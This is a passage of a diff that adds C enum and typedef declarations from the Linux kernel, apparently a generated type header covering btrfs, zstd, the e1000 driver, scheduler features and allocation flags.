__EXTENT_CLEAR_ALL_BITS_BIT = 16, + EXTENT_CLEAR_ALL_BITS = 65536, + __EXTENT_CLEAR_ALL_BITS_SEQ = 16, + __EXTENT_NOWAIT_BIT = 17, + EXTENT_NOWAIT = 131072, + __EXTENT_NOWAIT_SEQ = 17, +}; + +enum { + __EXTENT_FLAG_PINNED_BIT = 0, + EXTENT_FLAG_PINNED = 1, + __EXTENT_FLAG_PINNED_SEQ = 0, + __EXTENT_FLAG_COMPRESS_ZLIB_BIT = 1, + EXTENT_FLAG_COMPRESS_ZLIB = 2, + __EXTENT_FLAG_COMPRESS_ZLIB_SEQ = 1, + __EXTENT_FLAG_COMPRESS_LZO_BIT = 2, + EXTENT_FLAG_COMPRESS_LZO = 4, + __EXTENT_FLAG_COMPRESS_LZO_SEQ = 2, + __EXTENT_FLAG_COMPRESS_ZSTD_BIT = 3, + EXTENT_FLAG_COMPRESS_ZSTD = 8, + __EXTENT_FLAG_COMPRESS_ZSTD_SEQ = 3, + __EXTENT_FLAG_PREALLOC_BIT = 4, + EXTENT_FLAG_PREALLOC = 16, + __EXTENT_FLAG_PREALLOC_SEQ = 4, + __EXTENT_FLAG_LOGGING_BIT = 5, + EXTENT_FLAG_LOGGING = 32, + __EXTENT_FLAG_LOGGING_SEQ = 5, + __EXTENT_FLAG_MERGED_BIT = 6, + EXTENT_FLAG_MERGED = 64, + __EXTENT_FLAG_MERGED_SEQ = 6, +}; + +enum { + __ND_OPT_PREFIX_INFO_END = 0, + ND_OPT_SOURCE_LL_ADDR = 1, + ND_OPT_TARGET_LL_ADDR = 2, + ND_OPT_PREFIX_INFO = 3, + ND_OPT_REDIRECT_HDR = 4, + ND_OPT_MTU = 5, + ND_OPT_NONCE = 14, + __ND_OPT_ARRAY_MAX = 15, + ND_OPT_ROUTE_INFO = 24, + ND_OPT_RDNSS = 25, + ND_OPT_DNSSL = 31, + ND_OPT_6CO = 34, + ND_OPT_CAPTIVE_PORTAL = 37, + ND_OPT_PREF64 = 38, + __ND_OPT_MAX = 39, +}; + +enum { + __PAGE_UNLOCK_BIT = 0, + PAGE_UNLOCK = 1, + __PAGE_UNLOCK_SEQ = 0, + __PAGE_START_WRITEBACK_BIT = 1, + PAGE_START_WRITEBACK = 2, + __PAGE_START_WRITEBACK_SEQ = 1, + __PAGE_END_WRITEBACK_BIT = 2, + PAGE_END_WRITEBACK = 4, + __PAGE_END_WRITEBACK_SEQ = 2, + __PAGE_SET_ORDERED_BIT = 3, + PAGE_SET_ORDERED = 8, + __PAGE_SET_ORDERED_SEQ = 3, +}; + +enum { + __PERCPU_REF_ATOMIC = 1, + __PERCPU_REF_DEAD = 2, + __PERCPU_REF_ATOMIC_DEAD = 3, + __PERCPU_REF_FLAG_BITS = 2, +}; + +enum { + __QGROUP_RESERVE_BIT = 0, + QGROUP_RESERVE = 1, + __QGROUP_RESERVE_SEQ = 0, + __QGROUP_RELEASE_BIT = 1, + QGROUP_RELEASE = 2, + __QGROUP_RELEASE_SEQ = 1, + __QGROUP_FREE_BIT = 2, + QGROUP_FREE = 4, + __QGROUP_FREE_SEQ = 2, +}; + +enum { + __RQF_STARTED = 0, + __RQF_FLUSH_SEQ = 1, + __RQF_MIXED_MERGE = 2, + __RQF_DONTPREP = 3, + __RQF_SCHED_TAGS = 4, + __RQF_USE_SCHED = 5, + __RQF_FAILED = 6, + __RQF_QUIET = 7, + __RQF_IO_STAT = 8, + __RQF_PM = 9, + __RQF_HASHED = 10, + __RQF_STATS = 11, + __RQF_SPECIAL_PAYLOAD = 12, + __RQF_ZONE_WRITE_PLUGGING = 13, + __RQF_TIMED_OUT = 14, + __RQF_RESV = 15, + __RQF_BITS = 16, +}; + +enum { + __SCHED_FEAT_PLACE_LAG = 0, + __SCHED_FEAT_PLACE_DEADLINE_INITIAL = 1, + __SCHED_FEAT_PLACE_REL_DEADLINE = 2, + __SCHED_FEAT_RUN_TO_PARITY = 3, + __SCHED_FEAT_PREEMPT_SHORT = 4, + __SCHED_FEAT_NEXT_BUDDY = 5, + __SCHED_FEAT_CACHE_HOT_BUDDY = 6, + __SCHED_FEAT_DELAY_DEQUEUE = 7, + __SCHED_FEAT_DELAY_ZERO = 8, + __SCHED_FEAT_WAKEUP_PREEMPTION = 9, + __SCHED_FEAT_HRTICK = 10, + __SCHED_FEAT_HRTICK_DL = 11, + __SCHED_FEAT_DOUBLE_TICK = 12, + __SCHED_FEAT_NONTASK_CAPACITY = 13, + __SCHED_FEAT_TTWU_QUEUE = 14, + __SCHED_FEAT_SIS_UTIL = 15, + __SCHED_FEAT_WARN_DOUBLE_CLOCK = 16, + __SCHED_FEAT_RT_PUSH_IPI = 17, + __SCHED_FEAT_RT_RUNTIME_SHARE = 18, + __SCHED_FEAT_LB_MIN = 19, + __SCHED_FEAT_ATTACH_AGE_LOAD = 20, + __SCHED_FEAT_WA_IDLE = 21, + __SCHED_FEAT_WA_WEIGHT = 22, + __SCHED_FEAT_WA_BIAS = 23, + __SCHED_FEAT_UTIL_EST = 24, + __SCHED_FEAT_LATENCY_WARN = 25, + __SCHED_FEAT_NR = 26, +}; + +enum { + __SD_BALANCE_NEWIDLE = 0, + __SD_BALANCE_EXEC = 1, + __SD_BALANCE_FORK = 2, + __SD_BALANCE_WAKE = 3, + __SD_WAKE_AFFINE = 4, + __SD_ASYM_CPUCAPACITY = 5, + __SD_ASYM_CPUCAPACITY_FULL = 6, + __SD_SHARE_CPUCAPACITY = 7, + __SD_CLUSTER = 8, + __SD_SHARE_LLC = 9, + __SD_SERIALIZE = 10, + __SD_ASYM_PACKING = 11, + __SD_PREFER_SIBLING = 12, + __SD_OVERLAP = 13, + __SD_NUMA = 14, + __SD_FLAG_CNT = 15, +}; + +enum { + ___GFP_DMA_BIT = 0, + ___GFP_HIGHMEM_BIT = 1, + ___GFP_DMA32_BIT = 2, + ___GFP_MOVABLE_BIT = 3, + ___GFP_RECLAIMABLE_BIT = 4, + ___GFP_HIGH_BIT = 5, + ___GFP_IO_BIT = 6, + ___GFP_FS_BIT = 7, + ___GFP_ZERO_BIT = 8, + ___GFP_UNUSED_BIT = 9, + ___GFP_DIRECT_RECLAIM_BIT = 10, + ___GFP_KSWAPD_RECLAIM_BIT = 11, + ___GFP_WRITE_BIT = 12, + ___GFP_NOWARN_BIT = 13, + ___GFP_RETRY_MAYFAIL_BIT = 14, + ___GFP_NOFAIL_BIT = 15, + ___GFP_NORETRY_BIT = 16, + ___GFP_MEMALLOC_BIT = 17, + ___GFP_COMP_BIT = 18, + ___GFP_NOMEMALLOC_BIT = 19, + ___GFP_HARDWALL_BIT = 20, + ___GFP_THISNODE_BIT = 21, + ___GFP_ACCOUNT_BIT = 22, + ___GFP_ZEROTAGS_BIT = 23, + ___GFP_NOLOCKDEP_BIT = 24, + ___GFP_NO_OBJ_EXT_BIT = 25, + ___GFP_LAST_BIT = 26, +}; + +enum { + ____TRANS_FREEZABLE_BIT = 0, + __TRANS_FREEZABLE = 1, + ____TRANS_FREEZABLE_SEQ = 0, + ____TRANS_START_BIT = 1, + __TRANS_START = 2, + ____TRANS_START_SEQ = 1, + ____TRANS_ATTACH_BIT = 2, + __TRANS_ATTACH = 4, + ____TRANS_ATTACH_SEQ = 2, + ____TRANS_JOIN_BIT = 3, + __TRANS_JOIN = 8, + ____TRANS_JOIN_SEQ = 3, + ____TRANS_JOIN_NOLOCK_BIT = 4, + __TRANS_JOIN_NOLOCK = 16, + ____TRANS_JOIN_NOLOCK_SEQ = 4, + ____TRANS_DUMMY_BIT = 5, + __TRANS_DUMMY = 32, + ____TRANS_DUMMY_SEQ = 5, + ____TRANS_JOIN_NOSTART_BIT = 6, + __TRANS_JOIN_NOSTART = 64, + ____TRANS_JOIN_NOSTART_SEQ = 6, +}; + +enum { + attr_noop = 0, + attr_delayed_allocation_blocks = 1, + attr_session_write_kbytes = 2, + attr_lifetime_write_kbytes = 3, + attr_reserved_clusters = 4, + attr_sra_exceeded_retry_limit = 5, + attr_inode_readahead = 6, + attr_trigger_test_error = 7, + attr_first_error_time = 8, + attr_last_error_time = 9, + attr_clusters_in_group = 10, + attr_mb_order = 11, + attr_feature = 12, + attr_pointer_pi = 13, + attr_pointer_ui = 14, + attr_pointer_ul = 15, + attr_pointer_u64 = 16, + attr_pointer_u8 = 17, + attr_pointer_string = 18, + attr_pointer_atomic = 19, + attr_journal_task = 20, +}; + +enum { + blank_off = 0, + blank_normal_wait = 1, + blank_vesa_wait = 2, +}; + +enum { + btrfs_bitmap_nr_uptodate = 0, + btrfs_bitmap_nr_dirty = 1, + btrfs_bitmap_nr_writeback = 2, + btrfs_bitmap_nr_ordered = 3, + btrfs_bitmap_nr_checked = 4, + btrfs_bitmap_nr_locked = 5, + btrfs_bitmap_nr_max = 6, +}; + +enum { + cpuset = 0, + possible = 1, + fail = 2, +}; + +enum { + e1000_10_half = 0, + e1000_10_full = 1, + e1000_100_half = 2, + e1000_100_full = 3, +}; + +enum { + e1000_igp_cable_length_10 = 10, + e1000_igp_cable_length_20 = 20, + e1000_igp_cable_length_30 = 30, + e1000_igp_cable_length_40 = 40, + e1000_igp_cable_length_50 = 50, + e1000_igp_cable_length_60 = 60, + e1000_igp_cable_length_70 = 70, + e1000_igp_cable_length_80 = 80, + e1000_igp_cable_length_90 = 90, + e1000_igp_cable_length_100 = 100, + e1000_igp_cable_length_110 = 110, + e1000_igp_cable_length_115 = 115, + e1000_igp_cable_length_120 = 120, + e1000_igp_cable_length_130 = 130, + e1000_igp_cable_length_140 = 140, + e1000_igp_cable_length_150 = 150, + e1000_igp_cable_length_160 = 160, + e1000_igp_cable_length_170 = 170, + e1000_igp_cable_length_180 = 180, +}; + +enum { + false = 0, + true = 1, +}; + +enum { + none = 0, + day = 1, + month = 2, + year = 3, +}; + +enum { + pci_channel_io_normal = 1, + pci_channel_io_frozen = 2, + pci_channel_io_perm_failure = 3, +}; + +enum { + preempt_dynamic_undefined = -1, + preempt_dynamic_none = 0, + preempt_dynamic_voluntary = 1, + preempt_dynamic_full = 2, +}; + +enum { + ptr_explicit = 0, + ptr_ext4_sb_info_offset = 1, + ptr_ext4_super_block_offset = 2, +}; + +enum { + st_wordstart = 0, + st_wordcmp = 1, + st_wordskip = 2, + st_bufcpy = 3, +}; + +enum { + st_wordstart___2 = 0, + st_wordcmp___2 = 1, + st_wordskip___2 = 2, +}; + +enum { + x86_lbr_exclusive_lbr = 0, + x86_lbr_exclusive_bts = 1, + x86_lbr_exclusive_pt = 2, + x86_lbr_exclusive_max = 3, +}; + +typedef enum { + BIT_DStream_unfinished = 0, + BIT_DStream_endOfBuffer = 1, + BIT_DStream_completed = 2, + BIT_DStream_overflow = 3, +} BIT_DStream_status; + +typedef enum { + ZSTD_error_no_error = 0, + ZSTD_error_GENERIC = 1, + ZSTD_error_prefix_unknown = 10, + ZSTD_error_version_unsupported = 12, + ZSTD_error_frameParameter_unsupported = 14, + ZSTD_error_frameParameter_windowTooLarge = 16, + ZSTD_error_corruption_detected = 20, + ZSTD_error_checksum_wrong = 22, + ZSTD_error_dictionary_corrupted = 30, + ZSTD_error_dictionary_wrong = 32, + ZSTD_error_dictionaryCreation_failed = 34, + ZSTD_error_parameter_unsupported = 40, + ZSTD_error_parameter_outOfBound = 42, + ZSTD_error_tableLog_tooLarge = 44, + ZSTD_error_maxSymbolValue_tooLarge = 46, + ZSTD_error_maxSymbolValue_tooSmall = 48, + ZSTD_error_stage_wrong = 60, + ZSTD_error_init_missing = 62, + ZSTD_error_memory_allocation = 64, + ZSTD_error_workSpace_tooSmall = 66, + ZSTD_error_dstSize_tooSmall = 70, + ZSTD_error_srcSize_wrong = 72, + ZSTD_error_dstBuffer_null = 74, + ZSTD_error_frameIndex_tooLarge = 100, + ZSTD_error_seekableIO = 102, + ZSTD_error_dstBuffer_wrong = 104, + ZSTD_error_srcBuffer_wrong = 105, + ZSTD_error_maxCode = 120, +} ZSTD_ErrorCode; + +typedef ZSTD_ErrorCode ERR_enum; + +typedef enum { + FSE_repeat_none = 0, + FSE_repeat_check = 1, + FSE_repeat_valid = 2, +} FSE_repeat; + +typedef enum { + trustInput = 0, + checkMaxSymbolValue = 1, +} HIST_checkInput_e; + +typedef enum { + HUF_singleStream = 0, + HUF_fourStreams = 1, +} HUF_nbStreams_e; + +typedef enum { + HUF_repeat_none = 0, + HUF_repeat_check = 1, + HUF_repeat_valid = 2, +} HUF_repeat; + +typedef enum { + ZSTD_e_continue = 0, + ZSTD_e_flush = 1, + ZSTD_e_end = 2, +} ZSTD_EndDirective; + +typedef enum { + zop_dynamic = 0, + zop_predef = 1, +} ZSTD_OptPrice_e; + +typedef enum { + ZSTD_reset_session_only = 1, + ZSTD_reset_parameters = 2, + ZSTD_reset_session_and_parameters = 3, +} ZSTD_ResetDirective; + +typedef enum { + ZSTD_bm_buffered = 0, + ZSTD_bm_stable = 1, +} ZSTD_bufferMode_e; + +typedef enum { + ZSTDb_not_buffered = 0, + ZSTDb_buffered = 1, +} ZSTD_buffered_policy_e; + +typedef enum { + ZSTD_cpm_noAttachDict = 0, + ZSTD_cpm_attachDict = 1, + ZSTD_cpm_createCDict = 2, + ZSTD_cpm_unknown = 3, +} ZSTD_cParamMode_e; + +typedef enum { + ZSTD_c_compressionLevel = 100, + ZSTD_c_windowLog = 101, + ZSTD_c_hashLog = 102, + ZSTD_c_chainLog = 103, + ZSTD_c_searchLog = 104, + ZSTD_c_minMatch = 105, + ZSTD_c_targetLength = 106, + ZSTD_c_strategy = 107, + ZSTD_c_enableLongDistanceMatching = 160, + ZSTD_c_ldmHashLog = 161, + ZSTD_c_ldmMinMatch = 162, + ZSTD_c_ldmBucketSizeLog = 163, + ZSTD_c_ldmHashRateLog = 164, + ZSTD_c_contentSizeFlag = 200, + ZSTD_c_checksumFlag = 201, + ZSTD_c_dictIDFlag = 202, + ZSTD_c_nbWorkers = 400, + ZSTD_c_jobSize = 401, + ZSTD_c_overlapLog = 402, + ZSTD_c_experimentalParam1 = 500, + ZSTD_c_experimentalParam2 = 10, + ZSTD_c_experimentalParam3 = 1000, + ZSTD_c_experimentalParam4 = 1001, + ZSTD_c_experimentalParam5 = 1002, + ZSTD_c_experimentalParam6 = 1003, + ZSTD_c_experimentalParam7 = 1004, + ZSTD_c_experimentalParam8 = 1005, + ZSTD_c_experimentalParam9 = 1006, + ZSTD_c_experimentalParam10 = 1007, + ZSTD_c_experimentalParam11 = 1008, + ZSTD_c_experimentalParam12 = 1009, + ZSTD_c_experimentalParam13 = 1010, + ZSTD_c_experimentalParam14 = 1011, + ZSTD_c_experimentalParam15 = 1012, +} ZSTD_cParameter; + +typedef enum { + zcss_init = 0, + zcss_load = 1, + zcss_flush = 2, +} ZSTD_cStreamStage; + +typedef enum { + ZSTDcrp_makeClean = 0, + ZSTDcrp_leaveDirty = 1, +} ZSTD_compResetPolicy_e; + +typedef enum { + ZSTDcs_created = 0, + ZSTDcs_init = 1, + ZSTDcs_ongoing = 2, + ZSTDcs_ending = 3, +} ZSTD_compressionStage_e; + +typedef enum { + ZSTD_cwksp_alloc_objects = 0, + ZSTD_cwksp_alloc_buffers = 1, + ZSTD_cwksp_alloc_aligned = 2, +} ZSTD_cwksp_alloc_phase_e; + +typedef enum { + ZSTD_cwksp_dynamic_alloc = 0, + ZSTD_cwksp_static_alloc = 1, +} ZSTD_cwksp_static_alloc_e; + +typedef enum { + ZSTD_d_windowLogMax = 100, + ZSTD_d_experimentalParam1 = 1000, + ZSTD_d_experimentalParam2 = 1001, + ZSTD_d_experimentalParam3 = 1002, + ZSTD_d_experimentalParam4 = 1003, +} ZSTD_dParameter; + +typedef enum { + ZSTDds_getFrameHeaderSize = 0, + ZSTDds_decodeFrameHeader = 1, + ZSTDds_decodeBlockHeader = 2, + ZSTDds_decompressBlock = 3, + ZSTDds_decompressLastBlock = 4, + ZSTDds_checkChecksum = 5, + ZSTDds_decodeSkippableHeader = 6, + ZSTDds_skipFrame = 7, +} ZSTD_dStage; + +typedef enum { + zdss_init = 0, + zdss_loadHeader = 1, + zdss_read = 2, + zdss_load = 3, + zdss_flush = 4, +} ZSTD_dStreamStage; + +typedef enum { + ZSTD_defaultDisallowed = 0, + ZSTD_defaultAllowed = 1, +} ZSTD_defaultPolicy_e; + +typedef enum { + ZSTD_dictDefaultAttach = 0, + ZSTD_dictForceAttach = 1, + ZSTD_dictForceCopy = 2, + ZSTD_dictForceLoad = 3, +} ZSTD_dictAttachPref_e; + +typedef enum { + ZSTD_dct_auto = 0, + ZSTD_dct_rawContent = 1, + ZSTD_dct_fullDict = 2, +} ZSTD_dictContentType_e; + +typedef enum { + ZSTD_dlm_byCopy = 0, + ZSTD_dlm_byRef = 1, +} ZSTD_dictLoadMethod_e; + +typedef enum { + ZSTD_noDict = 0, + ZSTD_extDict = 1, + ZSTD_dictMatchState = 2, + ZSTD_dedicatedDictSearch = 3, +} ZSTD_dictMode_e; + +typedef enum { + ZSTD_dtlm_fast = 0, + ZSTD_dtlm_full = 1, +} ZSTD_dictTableLoadMethod_e; + +typedef enum { + ZSTD_use_indefinitely = -1, + ZSTD_dont_use = 0, + ZSTD_use_once = 1, +} ZSTD_dictUses_e; + +typedef enum { + ZSTD_d_validateChecksum = 0, + ZSTD_d_ignoreChecksum = 1, +} ZSTD_forceIgnoreChecksum_e; + +typedef enum { + ZSTD_f_zstd1 = 0, + ZSTD_f_zstd1_magicless = 1, +} ZSTD_format_e; + +typedef enum { + ZSTD_frame = 0, + ZSTD_skippableFrame = 1, +} ZSTD_frameType_e; + +typedef enum { + ZSTDirp_continue = 0, + ZSTDirp_reset = 1, +} ZSTD_indexResetPolicy_e; + +typedef enum { + ZSTD_not_in_dst = 0, + ZSTD_in_dst = 1, + ZSTD_split = 2, +} ZSTD_litLocation_e; + +typedef enum { + ZSTD_llt_none = 0, + ZSTD_llt_literalLength = 1, + ZSTD_llt_matchLength = 2, +} ZSTD_longLengthType_e; + +typedef enum { + ZSTD_lo_isRegularOffset = 0, + ZSTD_lo_isLongOffset = 1, +} ZSTD_longOffset_e; + +typedef enum { + ZSTDnit_frameHeader = 0, + ZSTDnit_blockHeader = 1, + ZSTDnit_block = 2, + ZSTDnit_lastBlock = 3, + ZSTDnit_checksum = 4, + ZSTDnit_skippableFrame = 5, +} ZSTD_nextInputType_e; + +typedef enum { + ZSTD_no_overlap = 0, + ZSTD_overlap_src_before_dst = 1, +} ZSTD_overlap_e; + +typedef enum { + ZSTD_ps_auto = 0, + ZSTD_ps_enable = 1, + ZSTD_ps_disable = 2, +} ZSTD_paramSwitch_e; + +typedef enum { + ZSTD_rmd_refSingleDDict = 0, + ZSTD_rmd_refMultipleDDicts = 1, +} ZSTD_refMultipleDDicts_e; + +typedef enum { + ZSTD_resetTarget_CDict = 0, + ZSTD_resetTarget_CCtx = 1, +} ZSTD_resetTarget_e; + +typedef enum { + ZSTD_sf_noBlockDelimiters = 0, + ZSTD_sf_explicitBlockDelimiters = 1, +} ZSTD_sequenceFormat_e; + +typedef enum { + ZSTD_fast = 1, + ZSTD_dfast = 2, + ZSTD_greedy = 3, + ZSTD_lazy = 4, + ZSTD_lazy2 = 5, + ZSTD_btlazy2 = 6, + ZSTD_btopt = 7, + ZSTD_btultra = 8, + ZSTD_btultra2 = 9, +} ZSTD_strategy; + +typedef enum { + OSL_GLOBAL_LOCK_HANDLER = 0, + OSL_NOTIFY_HANDLER = 1, + OSL_GPE_HANDLER = 2, + OSL_DEBUGGER_MAIN_THREAD = 3, + OSL_DEBUGGER_EXEC_THREAD = 4, + OSL_EC_POLL_HANDLER = 5, + OSL_EC_BURST_HANDLER = 6, +} acpi_execute_type; + +typedef enum { + ACPI_IMODE_LOAD_PASS1 = 1, + ACPI_IMODE_LOAD_PASS2 = 2, + ACPI_IMODE_EXECUTE = 3, +} acpi_interpreter_mode; + +typedef enum { + ACPI_TRACE_AML_METHOD = 0, + ACPI_TRACE_AML_OPCODE = 1, + ACPI_TRACE_AML_REGION = 2, +} acpi_trace_event_type; + +typedef enum { + bt_raw = 0, + bt_rle = 1, + bt_compressed = 2, + bt_reserved = 3, +} blockType_e; + +typedef enum { + need_more = 0, + block_done = 1, + finish_started = 2, + finish_done = 3, +} block_state; + +typedef enum { + CODES = 0, + LENS = 1, + DISTS = 2, +} codetype; + +typedef enum { + FILE_MEMORY_MIGRATE = 0, + FILE_CPULIST = 1, + FILE_MEMLIST = 2, + FILE_EFFECTIVE_CPULIST = 3, + FILE_EFFECTIVE_MEMLIST = 4, + FILE_SUBPARTS_CPULIST = 5, + FILE_EXCLUSIVE_CPULIST = 6, + FILE_EFFECTIVE_XCPULIST = 7, + FILE_ISOLATED_CPULIST = 8, + FILE_CPU_EXCLUSIVE = 9, + FILE_MEM_EXCLUSIVE = 10, + FILE_MEM_HARDWALL = 11, + FILE_SCHED_LOAD_BALANCE = 12, + FILE_PARTITION_ROOT = 13, + FILE_SCHED_RELAX_DOMAIN_LEVEL = 14, + FILE_MEMORY_PRESSURE_ENABLED = 15, + FILE_MEMORY_PRESSURE = 16, + FILE_SPREAD_PAGE = 17, + FILE_SPREAD_SLAB = 18, +} cpuset_filetype_t; + +typedef enum { + CS_ONLINE = 0, + CS_CPU_EXCLUSIVE = 1, + CS_MEM_EXCLUSIVE = 2, + CS_MEM_HARDWALL = 3, + CS_MEMORY_MIGRATE = 4, + CS_SCHED_LOAD_BALANCE = 5, + CS_SPREAD_PAGE = 6, + CS_SPREAD_SLAB = 7, +} cpuset_flagbits_t; + +typedef enum { + EITHER = 0, + INDEX = 1, + DIRENT = 2, + DIRENT_HTREE = 3, +} dirblock_type_t; + +typedef enum { + e1000_1000t_rx_status_not_ok = 0, + e1000_1000t_rx_status_ok = 1, + e1000_1000t_rx_status_undefined = 255, +} e1000_1000t_rx_status; + +typedef enum { + e1000_10bt_ext_dist_enable_normal = 0, + e1000_10bt_ext_dist_enable_lower = 1, + e1000_10bt_ext_dist_enable_undefined = 255, +} e1000_10bt_ext_dist_enable; + +typedef enum { + e1000_auto_x_mode_manual_mdi = 0, + e1000_auto_x_mode_manual_mdix = 1, + e1000_auto_x_mode_auto1 = 2, + e1000_auto_x_mode_auto2 = 3, + e1000_auto_x_mode_undefined = 255, +} e1000_auto_x_mode; + +typedef enum { + e1000_bus_speed_unknown = 0, + e1000_bus_speed_33 = 1, + e1000_bus_speed_66 = 2, + e1000_bus_speed_100 = 3, + e1000_bus_speed_120 = 4, + e1000_bus_speed_133 = 5, + e1000_bus_speed_reserved = 6, +} e1000_bus_speed; + +typedef enum { + e1000_bus_type_unknown = 0, + e1000_bus_type_pci = 1, + e1000_bus_type_pcix = 2, + e1000_bus_type_reserved = 3, +} e1000_bus_type; + +typedef enum { + e1000_bus_width_unknown = 0, + e1000_bus_width_32 = 1, + e1000_bus_width_64 = 2, + e1000_bus_width_reserved = 3, +} e1000_bus_width; + +typedef enum { + e1000_cable_length_50 = 0, + e1000_cable_length_50_80 = 1, + e1000_cable_length_80_110 = 2, + e1000_cable_length_110_140 = 3, + e1000_cable_length_140 = 4, + e1000_cable_length_undefined = 255, +} e1000_cable_length; + +typedef enum { + e1000_downshift_normal = 0, + e1000_downshift_activated = 1, + e1000_downshift_undefined = 255, +} e1000_downshift; + +typedef enum { + e1000_dsp_config_disabled = 0, + e1000_dsp_config_enabled = 1, + e1000_dsp_config_activated = 2, + e1000_dsp_config_undefined = 255, +} e1000_dsp_config; + +typedef enum { + e1000_eeprom_uninitialized = 0, + e1000_eeprom_spi = 1, + e1000_eeprom_microwire = 2, + e1000_eeprom_flash = 3, + e1000_eeprom_none = 4, + e1000_num_eeprom_types = 5, +} e1000_eeprom_type; + +typedef enum { + E1000_FC_NONE = 0, + E1000_FC_RX_PAUSE = 1, + E1000_FC_TX_PAUSE = 2, + E1000_FC_FULL = 3, + E1000_FC_DEFAULT = 255, +} e1000_fc_type; + +typedef enum { + e1000_ffe_config_enabled = 0, + e1000_ffe_config_active = 1, + e1000_ffe_config_blocked = 2, +} e1000_ffe_config; + +typedef enum { + e1000_undefined = 0, + e1000_82542_rev2_0 = 1, + e1000_82542_rev2_1 = 2, + e1000_82543 = 3, + e1000_82544 = 4, + e1000_82540 = 5, + e1000_82545 = 6, + e1000_82545_rev_3 = 7, + e1000_82546 = 8, + e1000_ce4100 = 9, + e1000_82546_rev_3 = 10, + e1000_82541 = 11, + e1000_82541_rev_2 = 12, + e1000_82547 = 13, + e1000_82547_rev_2 = 14, + e1000_num_macs = 15, +} e1000_mac_type; + +typedef enum { + e1000_media_type_copper = 0, + e1000_media_type_fiber = 1, + e1000_media_type_internal_serdes = 2, + e1000_num_media_types = 3, +} e1000_media_type; + +typedef enum { + e1000_ms_hw_default = 0, + e1000_ms_force_master = 1, + e1000_ms_force_slave = 2, + e1000_ms_auto = 3, +} e1000_ms_type; + +typedef enum { + e1000_phy_m88 = 0, + e1000_phy_igp = 1, + e1000_phy_8211 = 2, + e1000_phy_8201 = 3, + e1000_phy_undefined = 255, +} e1000_phy_type; + +typedef enum { + e1000_polarity_reversal_enabled = 0, + e1000_polarity_reversal_disabled = 1, + e1000_polarity_reversal_undefined = 255, +} e1000_polarity_reversal; + +typedef enum { + e1000_rev_polarity_normal = 0, + e1000_rev_polarity_reversed = 1, + e1000_rev_polarity_undefined = 255, +} e1000_rev_polarity; + +typedef enum { + e1000_smart_speed_default = 0, + e1000_smart_speed_on = 1, + e1000_smart_speed_off = 2, +} e1000_smart_speed; + +typedef enum { + EXT4_IGET_NORMAL = 0, + EXT4_IGET_SPECIAL = 1, + EXT4_IGET_HANDLE = 2, + EXT4_IGET_BAD = 4, + EXT4_IGET_EA_INODE = 8, +} ext4_iget_flags; + +typedef enum { + HEAD = 0, + FLAGS = 1, + TIME = 2, + OS = 3, + EXLEN = 4, + EXTRA = 5, + NAME = 6, + COMMENT = 7, + HCRC = 8, + DICTID = 9, + DICT = 10, + TYPE = 11, + TYPEDO = 12, + STORED = 13, + COPY = 14, + TABLE = 15, + LENLENS = 16, + CODELENS = 17, + LEN = 18, + LENEXT = 19, + DIST = 20, + DISTEXT = 21, + MATCH = 22, + LIT = 23, + CHECK = 24, + LENGTH = 25, + DONE = 26, + BAD = 27, + MEM = 28, + SYNC = 29, +} inflate_mode; + +typedef enum { + ISOLATE_ABORT = 0, + ISOLATE_NONE = 1, + ISOLATE_SUCCESS = 2, +} isolate_migrate_t; + +typedef enum { + PAGE_KEEP = 0, + PAGE_ACTIVATE = 1, + PAGE_SUCCESS = 2, + PAGE_CLEAN = 3, +} pageout_t; + +typedef enum { + PHY_INTERFACE_MODE_NA = 0, + PHY_INTERFACE_MODE_INTERNAL = 1, + PHY_INTERFACE_MODE_MII = 2, + PHY_INTERFACE_MODE_GMII = 3, + PHY_INTERFACE_MODE_SGMII = 4, + PHY_INTERFACE_MODE_TBI = 5, + PHY_INTERFACE_MODE_REVMII = 6, + PHY_INTERFACE_MODE_RMII = 7, + PHY_INTERFACE_MODE_REVRMII = 8, + PHY_INTERFACE_MODE_RGMII = 9, + PHY_INTERFACE_MODE_RGMII_ID = 10, + PHY_INTERFACE_MODE_RGMII_RXID = 11, + PHY_INTERFACE_MODE_RGMII_TXID = 12, + PHY_INTERFACE_MODE_RTBI = 13, + PHY_INTERFACE_MODE_SMII = 14, + PHY_INTERFACE_MODE_XGMII = 15, + PHY_INTERFACE_MODE_XLGMII = 16, + PHY_INTERFACE_MODE_MOCA = 17, + PHY_INTERFACE_MODE_PSGMII = 18, + PHY_INTERFACE_MODE_QSGMII = 19, + PHY_INTERFACE_MODE_TRGMII = 20, + PHY_INTERFACE_MODE_100BASEX = 21, + PHY_INTERFACE_MODE_1000BASEX = 22, + PHY_INTERFACE_MODE_2500BASEX = 23, + PHY_INTERFACE_MODE_5GBASER = 24, + PHY_INTERFACE_MODE_RXAUI = 25, + PHY_INTERFACE_MODE_XAUI = 26, + PHY_INTERFACE_MODE_10GBASER = 27, + PHY_INTERFACE_MODE_25GBASER = 28, + PHY_INTERFACE_MODE_USXGMII = 29, + PHY_INTERFACE_MODE_10GKR = 30, + PHY_INTERFACE_MODE_QUSGMII = 31, + PHY_INTERFACE_MODE_1000BASEKX = 32, + PHY_INTERFACE_MODE_10G_QXGMII = 33, + PHY_INTERFACE_MODE_MAX = 34, +} phy_interface_t; + +typedef enum { + search_hashChain = 0, + search_binaryTree = 1, + search_rowHash = 2, +} searchMethod_e; + +typedef enum { + SS_FREE = 0, + SS_UNCONNECTED = 1, + SS_CONNECTING = 2, + SS_CONNECTED = 3, + SS_DISCONNECTING = 4, +} socket_state; + +typedef enum { + STATUSTYPE_INFO = 0, + STATUSTYPE_TABLE = 1, + STATUSTYPE_IMA = 2, +} status_type_t; + +typedef enum { + not_streaming = 0, + is_streaming = 1, +} streaming_operation; + +typedef enum { + set_basic = 0, + set_rle = 1, + set_compressed = 2, + set_repeat = 3, +} symbolEncodingType_e; + +typedef ZSTD_ErrorCode zstd_error_code; + +enum CMD_MODE { + CMD_ASYNC = 1, + CMD_WANT_SKB = 2, + CMD_SEND_IN_RFKILL = 4, + CMD_BLOCK_TXQS = 8, + CMD_SEND_IN_D3 = 16, +}; + +enum CSI_J { + CSI_J_CURSOR_TO_END = 0, + CSI_J_START_TO_CURSOR = 1, + CSI_J_VISIBLE = 2, + CSI_J_FULL = 3, +}; + +enum CSI_right_square_bracket { + CSI_RSB_COLOR_FOR_UNDERLINE = 1, + CSI_RSB_COLOR_FOR_HALF_BRIGHT = 2, + CSI_RSB_MAKE_CUR_COLOR_DEFAULT = 8, + CSI_RSB_BLANKING_INTERVAL = 9, + CSI_RSB_BELL_FREQUENCY = 10, + CSI_RSB_BELL_DURATION = 11, + CSI_RSB_BRING_CONSOLE_TO_FRONT = 12, + 